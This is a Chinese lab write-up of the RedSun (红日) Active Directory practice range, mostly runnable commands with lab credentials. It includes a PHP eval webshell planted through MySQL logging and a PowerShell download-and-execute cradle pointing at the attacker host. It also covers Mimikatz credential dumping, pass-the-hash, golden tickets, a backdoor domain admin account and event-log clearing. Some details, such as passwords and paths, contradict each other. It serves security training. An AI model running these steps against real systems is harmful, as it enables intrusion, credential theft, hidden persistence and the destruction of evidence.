红日靶场练习记录


红日靶场(RedSun)渗透测试笔记

靶场环境架构

主机角色 主机名 IP地址 说明
Web服务器 STU1 10.10.10.140 / 192.168.52.128 双网卡,域成员
域控制器 OWA 192.168.52.138 DC,DNS服务器
域成员机 ROOT-TVI862UBEH 192.168.52.141 域成员

网络拓扑:

复制代码
攻击机(Kali) → 10.10.10.0/24 → STU1(10.10.10.140)
                                    ↓
                              192.168.52.0/24
                                    ↓
                            ┌───────┴───────┐
                          OWA(138)    ROOT-TVI862UBEH(141)

第一阶段:信息收集(攻击机:Kali Linux)

步骤 1.1:主机发现

目标: 确定靶机是否在线,获取其IP地址

工具: arp-scannmapnetdiscover

bash 复制代码
# 方法1:使用nmap进行Ping扫描
sudo nmap -sn 10.10.10.0/24

# 方法2:使用arp-scan扫描同网段存活主机
sudo arp-scan -l -I eth0

回显(发现靶机):

解读: 10.10.10.140 就是我们要攻击的Web服务器STU1。


步骤 1.2:端口扫描

目标: 发现靶机开放的所有端口和服务

工具: nmap

bash 复制代码
# 全端口扫描(TCP)
sudo nmap -p- -sS -T4 10.10.10.140

参数说明:

参数 含义
-p- 扫描所有65535个端口
-sS SYN半开扫描(快速且隐蔽)
-T4 扫描速度(T0-T5,T4较快)

回显:

解读:

  • 80端口 → Web服务,phpStudy环境
  • 3306端口 → MySQL数据库
  • 445端口 → SMB共享
  • 3389端口 → 远程桌面
  • 135端口 → RPC服务

下一步: 既然有Web服务,我们先进行Web目录扫描。


步骤 1.3:Web目录扫描

目标: 发现Web服务器上的隐藏目录和文件

工具: dirbdirsearchgobuster

bash 复制代码
# 方法1:使用dirb(Kali自带)
dirb http://10.10.10.140

# 方法2:使用gobuster
gobuster dir -u http://10.10.10.140 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

常用字典路径:

  • /usr/share/wordlists/dirb/common.txt
  • /usr/share/wordlists/dirb/big.txt
  • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

回显:

关键发现解读:

  1. /l.php → phpStudy探针,暴露大量服务器信息
  2. /phpinfo.php → PHP配置信息泄露
  3. /phpmyadmin/ → 数据库管理后台,可能存在弱口令

步骤 1.4:访问phpStudy探针收集信息

目标: 通过探针获取服务器详细配置

操作: 浏览器访问 http://10.10.10.140/l.php

看到的信息:


步骤 1.5:访问phpinfo.php

目标: 获取更多PHP配置信息

操作: 浏览器访问 http://10.10.10.140/phpinfo.php

重点关注:

  • allow_url_fopen → On(允许文件包含)
  • allow_url_include → On(允许远程文件包含)
  • disable_functions → 查看禁用了哪些函数
  • DOCUMENT_ROOTC:/phpStudy/WWW

第二阶段:Web渗透(攻击机:Kali Linux)

步骤 2.1:phpMyAdmin弱口令爆破

目标: 获取MySQL数据库管理权限

工具: Burp Suitehydramsfconsole

方法1:手动尝试常见弱口令

浏览器访问 http://10.10.10.140/phpmyadmin/

尝试以下账号密码:

  • root / (空密码)
  • root / root
  • root / 123456
  • root / admin
  • root / phpstudy

使用账号root,密码root,成功登录

解读: MySQL root密码是 root,成功登录phpMyAdmin!


步骤 2.2:通过MySQL日志写入WebShell

目标: 利用MySQL日志功能写入PHP一句话木马

操作环境: phpMyAdmin的SQL执行窗口 或 MySQL命令行

原理: MySQL可以开启general_log,将执行的SQL语句记录到指定文件。如果指定文件是Web目录下的PHP文件,就可以写入WebShell。

步骤:

sql 复制代码
-- 第1步:查看当前日志配置
SHOW VARIABLES LIKE '%general%';

回显:

sql 复制代码
-- 第2步:开启general_log
SET GLOBAL general_log = 'ON';
sql 复制代码
-- 第3步:修改日志文件路径到Web目录
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/log.php';
sql 复制代码
-- 第4步:执行SQL语句,写入一句话木马
SELECT '<?php @eval($_POST["cmd"]);?>';

验证WebShell:

浏览器访问 http://10.10.10.140/log.php

说明WebShell写入成功!


步骤 2.3:使用蚁剑连接WebShell

目标: 获取Web服务器的图形化控制权限

工具: 蚁剑(AntSword)

蚁剑连接步骤:

  1. 打开蚁剑 → 右键 → 添加数据
  2. URL:http://10.10.10.140/log.php
  3. 密码:cmd
  4. 连接类型:PHP (eval)
  5. 点击"测试连接",显示"连接成功"
  6. 点击"添加",双击进入

连接成功后可以:

  • 查看文件管理器
  • 打开虚拟终端
  • 查看数据库
  • 打开MSF会话

第三阶段:系统信息收集与提权(靶机:通过蚁剑/MSF)

步骤 3.1:基础信息收集

目标: 了解当前系统环境、用户权限、网络配置

在蚁剑虚拟终端中执行:

复制代码
# 查看用户所属组
whoami /groups
# 关键:查看是否有Domain Admins组
复制代码
# 查看网络配置
ipconfig /all
# 关键发现:双网卡!
#   以太网适配器 本地连接: 10.10.10.140
#   以太网适配器 本地连接 2: 192.168.52.137

关键发现解读:

  1. 双网卡 → 说明这是DMZ区服务器,192.168.52.0/24是内网
  2. 域环境whoami 显示 god\xxx,说明在god.org域中
  3. 管理员权限 → 是administrator,权限较高

步骤 3.2:域信息收集

目标: 发现域控制器和其他域成员

复制代码
# 查看当前域
net view /domain
复制代码
# 查看域内所有计算机
net view /domain:GOD
复制代码
# 查看域控制器
nslookup god.org
# 或
nltest /dclist:god.org
复制代码
# 查看域管理员
net group "Domain Admins" /domain
复制代码
# 查看域用户
net user /domain
复制代码
# 查看域内所有组
net group /domain

关键发现:

  • 域控制器:OWA.god.org (192.168.52.138)
  • 域成员:ROOT-TVI862UBEH (192.168.52.141)
  • 当前机器:STU1 (192.168.52.137)

步骤 3.3:使用MSF获取Meterpreter会话

目标: 将会话提升到MSF Meterpreter,便于后续操作

攻击机(Kali)操作:

bash 复制代码
msfconsole

# 生成PHP反向Shell
use exploit/multi/script/web_delivery
set target PSH
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 4444
set SRVPORT 8080
set PSH-EncodedCommand false    # 禁用编码,避免 ret=1
set SSL false                   # 禁用 SSL 简化
exploit

在蚁剑终端中执行这段代码

复制代码
powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$n=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://10.10.10.128:8080/KNwY3lk1eDgqvSX/HzTJymlLA7P4Xn'));IEX ((new-object Net.WebClient).DownloadString('http://10.10.10.128:8080/KNwY3lk1eDgqvSX'));

MSF会收到会话:

复制代码
[*] 10.10.10.140     web_delivery - Delivering AMSI Bypass (1386 bytes)
[*] 10.10.10.140     web_delivery - Delivering Payload (3523 bytes)
[*] Sending stage (199238 bytes) to 10.10.10.140
[*] Meterpreter session 1 opened (10.10.10.128:4444 -> 10.10.10.140:2410) at 2026-05-04 06:19:03 -0400

进入Meterpreter:

bash 复制代码
sessions -i 1

# 查看当前权限
getuid
# Server username: GOD\Administrator

# 查看系统信息
sysinfo

步骤 3.4:使用Mimikatz抓取密码

目标: 抓取当前系统的明文密码和哈希

在Meterpreter中:

bash 复制代码
# 提权
getsystem  

# 迁移到 explorer 进程(稳定)       
migrate -N explorer.exe     

 # 加载 mimikatz 
load kiwi      

 # 抓取所有凭证             
creds_all                   



# 导出SAM数据库
kiwi_cmd lsadump::sam

# 或者使用传统mimikatz
kiwi_cmd sekurlsa::tspkg
kiwi_cmd sekurlsa::wdigest

回显(关键信息):

复制代码
# 抓取明文密码
kiwi_cmd sekurlsa::logonpasswords

关键收获:

  • 域管理员账号:GOD\Administrator
  • 明文密码:hongrisec@2026
  • NTLM哈希:794adae2ad271e3a7bba23288c7d4702
  • LM:edea194d76c77d872f1c9569f45410d9

步骤 3.5:添加路由实现内网穿透

目标: 让Kali能够通过STU1访问内网192.168.52.0/24

在Meterpreter中:

bash 复制代码
# 查看当前路由表
route
复制代码
# 添加内网路由
run autoroute -s 192.168.52.0/24
复制代码
# 查看添加的路由
run autoroute -p
复制代码
# 将路由添加到MSF
background
use post/multi/manage/autoroute
set SESSION 5
exploit

开启SOCKS代理:

bash 复制代码
# 使用MSF的socks4a模块
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
exploit -j

配置proxychains:

bash 复制代码
# 编辑proxychains配置
nano /etc/proxychains4.conf

# 在最后一行添加:
socks4  127.0.0.1 1080

测试内网连通性:

bash 复制代码
# 使用proxychains扫描内网DC
proxychains nmap -sT -Pn -p 445,3389,53,88,135 192.168.52.138
复制代码
# 扫描另一台域成员
proxychains nmap -sT -Pn -p 445,3389,135 192.168.52.141

第四阶段:横向移动(攻击机:Kali,通过代理)

步骤 4.1:Pass-the-Hash攻击

目标: 使用抓取的NTLM哈希直接登录其他机器,无需明文密码

工具: impacket-psexecimpacket-wmiexecimpacket-smbexec

bash 复制代码
# 使用psexec进行Pass-the-Hash
proxychains impacket-psexec -hashes edea194d76c77d872f1c9569f45410d9:794adae2ad271e3a7bba23288c7d4702 GOD/Administrator@192.168.52.138

解读: 成功获取域控制器的SYSTEM权限!

复制代码
# 使用wmiexec(更隐蔽,不创建服务)
proxychains impacket-wmiexec -hashes edea194d76c77d872f1c9569f45410d9:794adae2ad271e3a7bba23288c7d4702 GOD/Administrator@192.168.52.138

# 攻击另一台域成员
proxychains impacket-wmiexec -hashes edea194d76c77d872f1c9569f45410d9:794adae2ad271e3a7bba23288c7d4702 GOD/Administrator@192.168.52.141
场景 推荐工具
需要最高权限(抓 hash、读 SAM) psexec(SYSTEM)
需要用户环境(访问用户文件、注册表) wmiexec(用户上下文)
隐蔽性要求高 wmiexec(不创建服务,不留日志)
防火墙严格(445 通但 135 不通) psexec(只用 445)

步骤 4.2:使用MSF进行横向移动

目标: 通过MSF的psexec模块获取DC的Meterpreter会话

bash 复制代码
msfconsole

# 使用psexec模块
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain GOD
set SMBUser Administrator
set SMBPass hongrisec@2026    
set payload windows/meterpreter/bind_tcp          # 内网使用bind模式
set LPORT 4445
exploit

步骤 4.3:Pass-the-Ticket攻击(Kerberos票据传递)

目标: 使用Kerberos票据进行横向移动

在STU1的Meterpreter中导出票据:

bash 复制代码
# 加载kiwi
load kiwi

# 导出所有票据
kiwi_cmd sekurlsa::tickets /export

# 或者使用MSF模块
run post/windows/gather/enum_domains

使用kekeo进行票据传递(在靶机上):

cmd 复制代码
# 在靶机上传kekeo.exe
# 导入票据
kekeo.exe "tgt::import path\to\ticket.kirbi" exit

# 或者使用MSF
use exploit/windows/local/wmi
set SESSION 1
set RHOST 192.168.52.138
exploit

步骤 4.4:Kerberoasting攻击

目标: 获取域内服务账号的TGS票据,离线破解密码

工具: impacket-GetUserSPNs

bash 复制代码
# 请求并导出服务票据
proxychains impacket-GetUserSPNs -request -dc-ip 192.168.52.138 GOD/Administrator:hongrisec@2026 -outputfile hashes.kerberoast

# 或者使用hashcat破解
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

步骤 4.5:AS-REP Roasting攻击

目标: 针对设置了"不需要Kerberos预认证"的账户

bash 复制代码
# 使用impacket-GetNPUsers
proxychains impacket-GetNPUsers -dc-ip 192.168.52.138 GOD/ -usersfile users.txt -format hashcat -outputfile hashes.asrep

# 破解
hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt

第五阶段:域控权限维持与数据收集

步骤 5.1:导出域内所有用户哈希

目标: 获取域内所有用户的NTLM哈希

在DC的Meterpreter中:

bash 复制代码
# 使用kiwi导出所有域用户哈希
kiwi_cmd lsadump::dcsync /domain:god.org /all /csv

# 或者导出特定用户
kiwi_cmd lsadump::dcsync /domain:god.org /user:Administrator

# 使用MSF模块
run post/windows/gather/hashdump

使用impacket-secretsdump(从Kali):

bash 复制代码
proxychains impacket-secretsdump GOD/Administrator:Admin@123@192.168.52.138

预期回显:

复制代码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331259f82168ff91544e9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:xxxxx:::
liukaifeng01:1110:aad3b435b51404eeaad3b435b51404ee:xxxxx:::

步骤 5.2:制作黄金票据(Golden Ticket)

目标: 创建长期有效的域管理员票据,实现持久化访问

在DC的Meterpreter中:

bash 复制代码
# 获取域SID
kiwi_cmd lsadump::lsa /patch

# 关键信息:
# Domain : GOD / S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx
# krbtgt NTLM: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# 制作黄金票据
kiwi_cmd kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx /krbtgt:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /ticket:golden.kirbi

# 注入票据
kiwi_cmd kerberos::ptt golden.kirbi

步骤 5.3:制作白银票据(Silver Ticket)

目标: 针对特定服务的票据

bash 复制代码
# 制作CIFS服务的白银票据
kiwi_cmd kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx /target:owa.god.org /service:cifs /rc4:42e2656ec24331259f82168ff91544e9 /ptt

步骤 5.4:创建域后门

目标: 添加域管理员账户,保持长期访问

在DC的shell中:

cmd 复制代码
# 添加域用户
net user hacker P@ssw0rd /add /domain

# 添加到域管理员组
net group "Domain Admins" hacker /add /domain

# 验证
net user hacker /domain

第六阶段:清理痕迹

步骤 6.1:删除日志

cmd 复制代码
# 清除Windows事件日志
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# 或者使用Meterpreter
clearev

步骤 6.2:删除创建的账户和后门

cmd 复制代码
net user hacker /delete /domain

步骤 6.3:删除上传的文件

cmd 复制代码
del D:\phpStudy\WWW\log.php

完整攻击链总结

复制代码
┌─────────────────────────────────────────────────────────────┐
│  第一步:信息收集(Kali)                                      │
│  - nmap扫描端口 → 发现80,3306,445,3389                       │
│  - dirb扫描目录 → 发现/phpmyadmin, /l.php                    │
│  - 访问探针 → 获取服务器配置、双网卡信息                      │
└─────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────┐
│  第二步:Web渗透 → 获取WebShell(Kali)                       │
│  - phpMyAdmin弱口令:root/root                               │
│  - MySQL日志写Shell:general_log → D:/phpStudy/WWW/log.php   │
│  - 蚁剑连接WebShell                                          │
└─────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────┐
│  第三步:系统信息收集(靶机STU1)                              │
│  - whoami /groups → 发现是域管理员!                         │
│  - ipconfig → 发现双网卡(10.10.10.140 + 192.168.52.128)   │
│  - net view /domain → 发现GOD域内机器                        │
└─────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────┐
│  第四步:抓取凭据(靶机STU1)                                  │
│  - mimikatz sekurlsa::logonpasswords                         │
│  - 获取:GOD\Administrator:Admin@123                         │
│  - 获取NTLM哈希                                              │
└─────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────┐
│  第五步:内网穿透(Kali + STU1)                              │
│  - MSF添加路由:run autoroute -s 192.168.52.0/24            │
│  - 开启SOCKS代理:socks4a on 1080                            │
│  - proxychains配置代理                                       │
└─────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────┐
│  第六步:横向移动 → 域控(Kali通过代理)                       │
│  - Pass-the-Hash: impacket-psexec/wmiexec                   │
│  - 成功获取OWA(192.168.52.138)的SYSTEM权限                   │
│  - 同样获取ROOT-TVI862UBEH(192.168.52.141)权限               │
└─────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────┐
│  第七步:域权限维持(域控OWA)                                 │
│  - DCSync导出所有域用户哈希                                  │
│  - 制作黄金票据/白银票据                                      │
│  - 添加域后门账户                                            │
└─────────────────────────────────────────────────────────────┘

常用工具速查表

阶段 工具 用途
信息收集 nmap 端口扫描
信息收集 dirb/dirsearch 目录扫描
Web渗透 Burp Suite 抓包、爆破
Web渗透 sqlmap SQL注入
Web渗透 蚁剑/冰蝎 WebShell管理
系统渗透 Mimikatz 密码抓取
系统渗透 MSF 渗透框架
横向移动 impacket套件 Pass-the-Hash
横向移动 kekeo Kerberos攻击
密码破解 hashcat/John 哈希破解
内网穿透 proxychains 代理工具